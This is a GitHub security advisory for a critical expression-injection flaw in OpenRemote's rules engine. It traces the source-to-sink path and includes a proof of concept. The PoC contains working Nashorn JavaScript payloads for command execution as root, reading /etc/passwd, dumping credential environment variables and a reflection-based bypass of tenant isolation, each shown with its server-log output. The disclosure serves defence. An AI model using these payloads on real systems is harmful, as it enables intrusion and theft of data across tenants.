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Expression Injection in OpenRemote

Critical severity GitHub Reviewed Published Apr 14, 2026 in openremote/openremote • Updated Apr 14, 2026

Package

maven io.openremote:openremote-manager (Maven)

Affected versions

<= 1.21.0

Patched versions

1.22.0

Description

Summary

The OpenRemote IoT platform's rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise.

  • Unsandboxed Nashorn JavaScript Engine: JavaScript rules are executed via Nashorn's ScriptEngine.eval() with user-supplied script content and no sandboxing, class filtering, or access restrictions. Critically, any non-superuser with the write:rules role can create JavaScript rulesets.
  • Inactive Groovy Sandbox: The Groovy rules engine has a GroovyDenyAllFilter security filter that is defined but never registered (the registration code is commented out), rendering the SandboxTransformer ineffective. While Groovy rules are restricted to superusers, the absence of sandboxing violates the principle of defense in depth.

Details

Attacker-Controllable Source-to-Sink Paths

There are two non-superuser and two superuser exploitable attack paths from the REST API entry point to final code execution. (JavaScript × Realm/Asset + Groovy × Realm/Asset) The most critical path is detailed below.

Path 1: Unsandboxed JavaScript Expression Injection via Realm Ruleset (Non-Superuser Exploitable)

RulesetDeployment.java L368:

Object result = scriptEngine.eval(script, engineScope);

The Nashorn JavaScript engine is initialized without a ClassFilter, allowing Java.type() to access any JVM class — including java.lang.Runtime (for RCE), java.io.FileReader (for file read), and java.lang.System (for env theft).

RulesResourceImpl.java L309 (and L331, L359, L412, L437):

// VULNERABLE: only restricts Groovy, JavaScript completely unrestricted
if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {
    throw new WebApplicationException(Response.Status.FORBIDDEN);
}

Non-superuser attackers with only the write:rules role can submit arbitrary JavaScript rules that execute with full JVM access.

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                          SOURCE → SINK Complete Data Flow                                │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                         │
│  ① HTTP REQUEST (Source / Entry Point)                                                   │
│  POST /api/{realm}/rules/realm                                                          │
│  Content-Type: application/json                                                         │
│  Body: { "type":"realm", "lang":"JAVASCRIPT",                                           │
│          "rules":"<MALICIOUS_SCRIPT>", ... }     ← Attacker-controlled malicious script  │
│                                                                                         │
│                              ↓ JAX-RS Deserialization                                    │
│                                                                                         │
│  ② RulesResource.createRealmRuleset()                                                   │
│     model/.../rules/RulesResource.java:153-158                                          │
│     @POST @Path("realm") @RolesAllowed("write:rules")                                   │
│     Interface: long createRealmRuleset(RequestParams, @Valid RealmRuleset ruleset)       │
│     JSON body → RealmRuleset object (Jackson deserialization)                            │
│     RealmRuleset.rules field ← attacker's malicious script content                      │
│     RealmRuleset.lang  field ← "JAVASCRIPT"                                             │
│                                                                                         │
│                              ↓ Calls implementation                                      │
│                                                                                         │
│  ③ RulesResourceImpl.createRealmRuleset()  ← ⚠️ Authorization flaw here                 │
│     manager/.../rules/RulesResourceImpl.java:250-267                                    │
│     - L255: isRealmActiveAndAccessible(realm) — checks realm accessible ✓                │
│     - L255: isRestrictedUser() — restricted users blocked ✓                              │
│     - L262: if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser())              │
│       → Only blocks GROOVY for non-superusers ✓                                          │
│     - ⚠️ NO check for Lang.JAVASCRIPT! JavaScript rules pass through unrestricted ⚠️    │
│     - L265: ruleset = rulesetStorageService.merge(ruleset)                              │
│       → Passes the RealmRuleset (with malicious script) to persistence layer            │
│                                                                                         │
│                              ↓ JPA Persistence                                           │
│                                                                                         │
│  ④ RulesetStorageService.merge()                                                        │
│     manager/.../rules/RulesetStorageService.java:155-159                                │
│     - L157: entityManager.merge(ruleset)                                                │
│       → Persists RealmRuleset entity (with rules and lang fields) to REALM_RULESET table│
│     - After JPA transaction commit, Hibernate event listener is triggered               │
│                                                                                         │
│                              ↓ Hibernate Event → Camel Message                           │
│                                                                                         │
│  ⑤ Hibernate Interceptor → PersistenceService Event Publishing                          │
│     container/.../persistence/PersistenceEventInterceptor.java:51-62, 102-119           │
│     - L55-56: new PersistenceEvent<>(CREATE, entity, propertyNames, state)              │
│       → Hibernate Interceptor captures the JPA entity persist event                     │
│     - L102-119: afterTransactionBegin() registers Synchronization callback;             │
│       afterCompletion() calls eventConsumer.accept(persistenceEvent) (L114)             │
│     container/.../persistence/PersistenceService.java:596-607                           │
│     - PersistenceService implements Consumer<PersistenceEvent<?>> (L84)                 │
│     - L596-606: accept() publishes event to Camel SEDA topic:                           │
│       producerTemplate.withBody(persistenceEvent)                                       │
│       .withHeader(HEADER_ENTITY_TYPE, entity.getClass())                                │
│       .to(PERSISTENCE_TOPIC).asyncSend()                                                │
│     - PERSISTENCE_TOPIC = "seda://PersistenceTopic?multipleConsumers=true&..."           │
│       (PersistenceService.java:209-210)                                                 │
│                                                                                         │
│                              ↓ Camel Route Consumption                                   │
│                                                                                         │
│  ⑥ RulesService.configure() — Camel Route Processor                                     │
│     manager/.../rules/RulesService.java:228-235                                         │
│     - L228: from(PERSISTENCE_TOPIC)                                                     │
│     - L230: .filter(isPersistenceEventForEntityType(Ruleset.class))                     │
│       → Filters for Ruleset-type events only                                             │
│     - L232-234: .process(exchange -> {                                                  │
│         PersistenceEvent<?> pe = exchange.getIn().getBody(PersistenceEvent.class);       │
│         processRulesetChange((Ruleset) pe.getEntity(), pe.getCause());                  │
│       })                                                                                │
│       → Extracts RealmRuleset entity from event and dispatches to change handler        │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑦ RulesService.processRulesetChange()                                                  │
│     manager/.../rules/RulesService.java:503-531                                         │
│     - L504: cause == CREATE (not DELETE), ruleset.isEnabled() == true                   │
│       → Enters the deployment branch (else block)                                       │
│     - L518: ruleset instanceof RealmRuleset → takes realm branch                        │
│     - L520: RulesEngine<RealmRuleset> engine =                                          │
│             deployRealmRuleset((RealmRuleset) ruleset)                                   │
│     - L521: engine.start()                                                              │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑧ RulesService.deployRealmRuleset()                                                    │
│     manager/.../rules/RulesService.java:589-625                                         │
│     - L591: Gets existing engine from realmEngines Map or creates new one               │
│     - L594-613: If new engine: new RulesEngine<>(...), stores in realmEngines           │
│     - (via addRuleset): engine.addRuleset(ruleset)                                      │
│       → Passes RealmRuleset to engine for deployment                                    │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑨ RulesEngine.addRuleset()                                                             │
│     manager/.../rules/RulesEngine.java:252-273                                          │
│     - L264: deployment = new RulesetDeployment(ruleset, this, timerService,             │
│             assetStorageService, executorService, scheduledExecutorService,              │
│             assetsFacade, usersFacade, notificationFacade, webhooksFacade,               │
│             alarmsFacade, historicFacade, predictedFacade)                               │
│       → Creates deployment object wrapping the Ruleset (with malicious script)          │
│     - L265: deployment.init()                                                           │
│       → Triggers compilation and initialization                                         │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑩ RulesetDeployment.init()                                                             │
│     manager/.../rules/RulesetDeployment.java:132-158                                    │
│     - L143: TextUtil.isNullOrEmpty(ruleset.getRules()) → false, script is non-empty     │
│     - L149: ruleset.isEnabled() → true                                                  │
│     - L154: if (!compile()) → calls compile()                                           │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑪ RulesetDeployment.compile()                                                          │
│     manager/.../rules/RulesetDeployment.java:211-228                                    │
│     - L217: switch (ruleset.getLang()) {                                                │
│     - L218:   case JAVASCRIPT:  ← lang field is JAVASCRIPT                              │
│     - L219:     return compileRulesJavascript(ruleset, assetsFacade,                    │
│                   usersFacade, notificationsFacade, historicDatapointsFacade,            │
│                   predictedDatapointsFacade);                                           │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑫ RulesetDeployment.compileRulesJavascript()  ← SINK (Code Execution Point)        │
│     manager/.../rules/RulesetDeployment.java:306-378                                    │
│                                                                                         │
│     - L307: // TODO https://github.com/pfisterer/scripting-sandbox/...                  │
│       ↑ Sandbox was NEVER implemented (only a TODO comment)                             │
│                                                                                         │
│     - L308: ScriptEngine scriptEngine =                                                 │
│             scriptEngineManager.getEngineByName("nashorn");                              │
│       ↑ Uses Nashorn 15.7 (gradle.properties:59)                                        │
│       ↑ Obtained via ScriptEngineManager — NO ClassFilter applied                       │
│       ↑ Attacker can access ANY Java class via Java.type()                              │
│                                                                                         │
│     - L309-311: Creates ScriptContext and Bindings                                      │
│     - L312-317: Binds internal service objects to engineScope:                          │
│         "LOG" → Logger, "assets" → Assets facade,                                       │
│         "users" → Users facade, "notifications" → Notifications facade                  │
│                                                                                         │
│     - L319: String script = ruleset.getRules();                                         │
│       ↑↑↑ DIRECTLY reads the attacker's malicious script content ↑↑↑                    │
│       ↑↑↑ This is the exact same value from the HTTP Body "rules" field ↑↑↑             │
│       ↑↑↑ passed through step ① with NO sanitization whatsoever ↑↑↑                     │
│                                                                                         │
│     - L322-365: Auto-prepends Java interop prefix:                                      │
│         load("nashorn:mozilla_compat.js")  → provides importPackage()                   │
│         importPackage("java.util.stream", ...)  → auto-imports Java packages            │
│         var Match = Java.type("...AssetQuery$Match")  → pre-registers Java.type()       │
│         ... (12 active Java.type references; 1 commented out)                           │
│       ↑ These prefixes further lower the attack barrier                                 │
│                                                                                         │
│     - L365: + script;                                                                   │
│       ↑ Attacker script appended directly (string concatenation, no checks)             │
│                                                                                         │
│     - L368: scriptEngine.eval(script, engineScope);                                     │
│       ↑↑↑ !!! FINAL SINK — The script string containing attacker's                  │
│       ↑↑↑ malicious code is DIRECTLY EXECUTED by Nashorn ScriptEngine                   │
│       ↑↑↑ Attacker uses Java.type('java.lang.Runtime') etc. to invoke                  │
│       ↑↑↑ arbitrary Java class methods, achieving Remote Code Execution (RCE)           │
│                                                                                         │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Path 2: JavaScript Expression Injection via Asset Ruleset (Non-Superuser Exploitable)

Same data flow as Path 1. Differences only in the first three steps:

Step Difference
① Source POST /api/{realm}/rules/asset, body includes "assetId":"xxx"
② Entry RulesResource.createAssetRuleset()RulesResource.java:200-206
③ Auth Flaw RulesResourceImpl.createAssetRuleset()RulesResourceImpl.java:341-365: L350 checks realm accessible, L353 checks restricted user's asset link, L359 only blocks GROOVY, JAVASCRIPT unrestricted. L363 rulesetStorageService.merge(ruleset)

Sink Code Analysis

Sink 1: compileRulesJavascript() — Lines 306-378

// RulesetDeployment.java L306-378
protected boolean compileRulesJavascript(Ruleset ruleset, ...) {
    // L307: TODO indicates sandbox was NEVER implemented
    // L308: Gets Nashorn engine via ScriptEngineManager — NO ClassFilter
    ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn");
    
    // L312-317: Binds internal service objects
    engineScope.put("LOG", LOG);
    engineScope.put("assets", assetsFacade);

    // L319: DIRECTLY reads attacker's script content
    String script = ruleset.getRules();

    // L322-365: Prepends Java interop imports (lowers attack barrier)
    script = "load(\"nashorn:mozilla_compat.js\");\n" + ... + script;

    // L368: SINK — Executes the malicious script!
    scriptEngine.eval(script, engineScope);
}

Why missing ClassFilter is fatal: The Nashorn engine provides a ClassFilter interface to restrict which Java classes scripts can access. The current code uses scriptEngineManager.getEngineByName("nashorn") (L308) which applies no ClassFilter, so the attacker can access any Java class via Java.type().

Sink 2: compileRulesGroovy() — Lines 449-485

// RulesetDeployment.java L449-485
protected boolean compileRulesGroovy(Ruleset ruleset, ...) {
    // L451-452: Sandbox code COMMENTED OUT
    // TODO Implement sandbox
    // new DenyAll().register();   ← COMMENTED OUT!

    // L453: Parses attacker's Groovy script
    Script script = groovyShell.parse(ruleset.getRules());
    
    // L473: SINK — Directly executes Groovy script
    script.run();
}

Why SandboxTransformer is ineffective: The GroovyShell uses SandboxTransformer (L79-81) for AST transformation, but this transformer relies on registered GroovyInterceptor instances at runtime. Since new DenyAll().register() is commented out (L452), no interceptor is registered, making SandboxTransformer a no-op.

Path 3: Groovy Expression Injection via Realm Ruleset (Superuser Only)

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                          SOURCE → SINK Complete Data Flow (Groovy)                       │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                         │
│  ① HTTP POST /api/{realm}/rules/realm                                                   │
│     Body: { "type":"realm", "lang":"GROOVY",                                            │
│             "rules":"<MALICIOUS_GROOVY>", ... }                                         │
│     Requires superuser privileges                                                       │
│                                                                                         │
│  ② RulesResource.createRealmRuleset()  — RulesResource.java:153-158                    │
│                                                                                         │
│  ③ RulesResourceImpl.createRealmRuleset() — RulesResourceImpl.java:250-267             │
│     - L262: if (lang == GROOVY && !isSuperUser()) → superuser passes ✓                  │
│     - L265: rulesetStorageService.merge(ruleset)                                        │
│                                                                                         │
│  ④-⑩ Same as Path 1 steps ④-⑩                                                          │
│                                                                                         │
│  ⑪ RulesetDeployment.compile()  — RulesetDeployment.java:211-228                       │
│     - L220: case GROOVY → compileRulesGroovy(ruleset, ...)                              │
│                                                                                         │
│  ⑫ RulesetDeployment.compileRulesGroovy()  ← SINK                                   │
│     manager/.../rules/RulesetDeployment.java:449-485                                    │
│     - L451: // TODO Implement sandbox  ← Sandbox NEVER implemented                      │
│     - L452: // new DenyAll().register()  ← Security filter COMMENTED OUT!            │
│     - L453: Script script = groovyShell.parse(ruleset.getRules())                       │
│       ↑ groovyShell uses SandboxTransformer (L79-81)                                    │
│       ↑ But no GroovyInterceptor registered → SandboxTransformer is ineffective         │
│       ↑ ruleset.getRules() directly reads attacker's malicious Groovy script            │
│     - L454-462: Creates Binding, binds internal service objects                         │
│     - L472: script.setBinding(binding)                                                  │
│     - L473: script.run()                                                                │
│       ↑↑↑ FINAL SINK — Groovy script executed directly, no sandbox ↑↑↑              │
│                                                                                         │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Path 4: Groovy Expression Injection via Asset Ruleset (Superuser Only)

Same as Path 3; first three steps differ as in Path 2.

PoC

Test Environment

Component Details
Host OS macOS Darwin 25.1.0
Docker Docker Compose with official OpenRemote images
OpenRemote openremote/manager:latest (v1.20.2)
Keycloak openremote/keycloak:latest
PostgreSQL openremote/postgresql:latest-slim
Target URL https://localhost

Multi-Tenant Test Topology

┌─────────────────────────────────────────────────────────┐
│                  OpenRemote Platform                    │
│                                                         │
│  ┌─────────────────┐       ┌─────────────────┐         │
│  │   Realm A        │       │   Realm B        │         │
│  │   (Attacker)     │       │   (Victim)       │         │
│  │                  │       │                  │         │
│  │  User: attacker  │  ──X──│  SecretSensorB   │         │
│  │  Roles:          │ API   │    secretData    │         │
│  │   write:rules    │blocked│    apiKey        │         │
│  │   read:assets    │       │    password      │         │
│  │  NOT superuser   │       │                  │         │
│  └─────────────────┘       └─────────────────┘         │
│                                                         │
│  API isolation: Realm A user CANNOT access Realm B      │
│  via normal REST API (HTTP 401)                         │
│                                                         │
│  Exploit: Realm A user creates JavaScript rule that     │
│  executes arbitrary code on the SERVER, bypassing all   │
│  tenant isolation                                       │
└─────────────────────────────────────────────────────────┘

Deployment

OpenRemote was started using the project's official docker-compose.yml:

cd /path/to/openremote-openremote
docker compose up -d

Containers running:

截屏2026-03-27 14 50 10

Reproduction Steps & Evidence

Step 0: Obtain Admin Tokens
KC admin-cli token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
[OK] Direct access grants for 'master': HTTP 204
OR admin token:     eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
API health check: HTTP 200, version=1.20.2
Step 1: Setup Multi-Tenant Environment

Created Realm B (victim) with sensitive assets, and Realm A (attacker) with a non-superuser.

Create realm 'realmb': HTTP 409     (already exists from prior run — OK)
[OK] Direct access grants for 'realmb': HTTP 204
Create victim asset in realmb: HTTP 200, ID=4cddi4ncR9w7RHRbVzVZfq
Planted sensitive data in Realm B:
  secretData       = 'REALM_B_CONFIDENTIAL_DATA_67890'
  apiKey           = 'sk-realmB-api-key-very-secret'
  internalPassword = 'P@ssw0rd_Internal_2024'

Create realm 'realma': HTTP 409
[OK] Direct access grants for 'realma': HTTP 204
[OK] User 'attacker' in 'realma', ID: 0d137364-b538-45d2-b3b3-33f57d97b9f5
[OK] Roles assigned: ['read:rules', 'write:assets', 'read:assets', 'write:rules']

Key point: The attacker user has write:rules role but is NOT a superuser.

Step 2: Verify Tenant Isolation Works via Normal API
Attacker token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...

[TEST] Normal API: GET /api/realmb/asset (attacker token)
Result: HTTP 401
>> Cross-realm API access BLOCKED (expected) — tenant isolation works via API

Conclusion: The REST API correctly blocks Realm A users from accessing Realm B assets. The vulnerability is NOT in the API layer but in the rules engine execution.

Step 3: Launch the attack.
  • ATTACK 1 — Remote Code Execution (RCE)

Payload sent (via POST /api/realma/rules/realm with attacker token):

var Runtime = Java.type("java.lang.Runtime");
var Scanner = Java.type("java.util.Scanner");
var cmd = Java.to(["sh", "-c", "id && hostname && uname -a"], "java.lang.String[]");
var proc = Runtime.getRuntime().exec(cmd);
proc.waitFor();
var s = new Scanner(proc.getInputStream()).useDelimiter("\\A");
var output = s.hasNext() ? s.next() : "(empty)";
LOG.info("[EXPLOIT-RCE] Command output: " + output);
var rules = [];

API response: HTTP 200 (rule accepted and deployed)

Server log evidence (captured from docker compose logs manager):

2026-03-27T07:17:24.833Z [EXPLOIT-RCE] === REMOTE CODE EXECUTION ===
2026-03-27T07:17:24.838Z [EXPLOIT-RCE] --- RCE OUTPUT ---
2026-03-27T07:17:24.838Z [EXPLOIT-RCE] uid=0(root) gid=0(root) groups=0(root)

Impact: The attacker's JavaScript rule executed id on the server and confirmed the process runs as root (uid=0). The attacker can execute any OS command with root privileges.

  • ATTACK 2 — Arbitrary File Read (/etc/passwd)
    Payload:
var Files = Java.type("java.nio.file.Files");
var Paths = Java.type("java.nio.file.Paths");
var lines = Files.readAllLines(Paths.get("/etc/passwd"));
LOG.info("[EXPLOIT-FILE] /etc/passwd has " + lines.size() + " lines:");
for (var i = 0; i < lines.size(); i++) {
  LOG.info("[EXPLOIT-FILE]   " + lines.get(i));
}
var rules = [];

API response: HTTP 200
Server log evidence:

  • ATTACK 3 — Environment Variable Theft (Database Credentials)

Payload:

var System = Java.type("java.lang.System");
var env = System.getenv();
LOG.info("[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ===");
var keys = ["OR_DB_HOST","OR_DB_PORT","OR_DB_NAME","OR_DB_USER","OR_DB_PASSWORD",
            "KEYCLOAK_ADMIN_PASSWORD","OR_ADMIN_PASSWORD","OR_HOSTNAME","JAVA_HOME"];
for (var i = 0; i < keys.length; i++) {
  var v = env.get(keys[i]);
  if (v != null) LOG.info("[EXPLOIT-ENV] " + keys[i] + " = " + v);
}
var rules = [];

API response: HTTP 200

Server log evidence (key variables extracted):

2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_HOST = postgresql
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_PORT = 5432
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_NAME = openremote
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_DB_USER = postgres
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_HOSTNAME = localhost
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] JAVA_HOME = /usr/lib/jvm/jre
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_HOST = keycloak
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_PORT = 8080
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_STORAGE_DIR = /storage
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_WEBSERVER_LISTEN_HOST = 0.0.0.0
2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DB_POOL_MAX_SIZE = 20
2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DEV_MODE = false
2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_FIREBASE_CONFIG_FILE = /deployment/manager/fcm.json
2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_EMAIL_PORT = 587

Impact: Database connection details, internal hostnames, Keycloak configuration, and more are fully exposed. An attacker could use these to directly connect to the PostgreSQL database or attack other internal services.


  • ATTACK 4 — Cross-Realm Data Theft (Bypass Multi-Tenant Isolation)

This is the most critical attack: a user in Realm A steals all data from Realm B by bypassing the AssetsFacade realm enforcement via Java reflection.

Attack mechanism:

  1. The assets object bound into JavaScript is an AssetsFacade instance
  2. AssetsFacade.getResults() enforces realm isolation by overwriting assetQuery.realm
  3. The attacker uses Java reflection to extract the internal assetStorageService field
  4. Calls assetStorageService.findAll() directly, bypassing realm restriction AND excludeAttributes()

Payload:

// Extract internal AssetStorageService via reflection
var facadeObj = assets;
var clazz = facadeObj.getClass();
var storageField = clazz.getDeclaredField("assetStorageService");
storageField.setAccessible(true);
var storageService = storageField.get(facadeObj);

// Query Realm B directly — bypassing facade realm enforcement
var AssetQuery = Java.type("org.openremote.model.query.AssetQuery");
var RealmPredicate = Java.type("org.openremote.model.query.filter.RealmPredicate");
var q = new AssetQuery();
q.realm = new RealmPredicate("realmb");
var stolenAssets = storageService.findAll(q);
// Iterate and dump all attribute values...
var rules = [];

API response: HTTP 200

Server log evidence — Stolen data from Realm B:

2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] === CROSS-REALM DATA THEFT ===
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Attacker realm: realma
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Target realm:   realmb
2026-03-27T07:17:55.162Z [EXPLOIT-XREALM] Facade class: org.openremote.manager.rules.facade.AssetsFacade
2026-03-27T07:17:55.190Z [EXPLOIT-XREALM] Got AssetStorageService: org.openremote.manager.asset.AssetStorageService
2026-03-27T07:17:55.199Z [EXPLOIT-XREALM] Found 2 assets in realm 'realmb'
2026-03-27T07:17:55.207Z [EXPLOIT-XREALM] STOLEN Asset: name=SecretSensorB, id=3eZKswGIALiGAqeEPdnH3t, type=ThingAsset
2026-03-27T07:17:55.228Z [EXPLOIT-XREALM]   STOLEN ATTR: notes = Internal sensor - classified
2026-03-27T07:17:55.229Z [EXPLOIT-XREALM]   STOLEN ATTR: apiKey = sk-realmB-api-key-very-secret
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: location = GeoJSONPoint{coordinates=5.46, 51.44, NaN}
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: internalPassword = P@ssw0rd_Internal_2024
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: secretData = REALM_B_CONFIDENTIAL_DATA_67890

Cross-realm enumeration — all assets across all realms:

2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] Total assets across ALL realms: 5
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=5pVko8DN...
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=4zfyoaiL...
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestMasterAsset, id=3vqFI9kI...
2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=3eZKswGI...
2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=4cddi4nc...

Impact: Complete multi-tenant isolation bypass. Realm A's non-superuser successfully:

  • Extracted all sensitive attribute values from Realm B (API keys, passwords, confidential data)
  • Enumerated all assets across ALL realms including the master realm
  • Bypassed both the realm restriction AND the excludeAttributes() protection in AssetsFacade

  • Authorization Bypass Verification

The same attacker user attempted to create a Groovy rule (which is correctly restricted to superusers):

Create Groovy rule (same attacker): HTTP 403
>> Groovy rule REJECTED (HTTP 403) — as expected for non-superuser
>> BUT all JavaScript rules were ACCEPTED (HTTP 200) — THIS IS THE VULNERABILITY!

Root cause in source code (RulesResourceImpl.java:262):

// Only blocks Groovy for non-superusers — JavaScript is UNRESTRICTED
if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {
    throw new ForbiddenException("Forbidden");
}
// No check for Lang.JAVASCRIPT!

Impact

Remote code execution.

References

@denniskuijs denniskuijs published to openremote/openremote Apr 14, 2026
Published to the GitHub Advisory Database Apr 14, 2026
Reviewed Apr 14, 2026
Last updated Apr 14, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(35th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed. Learn more on MITRE.

CVE ID

CVE-2026-39842

GHSA ID

GHSA-7mqr-33rv-p3mp

Source code

Credits

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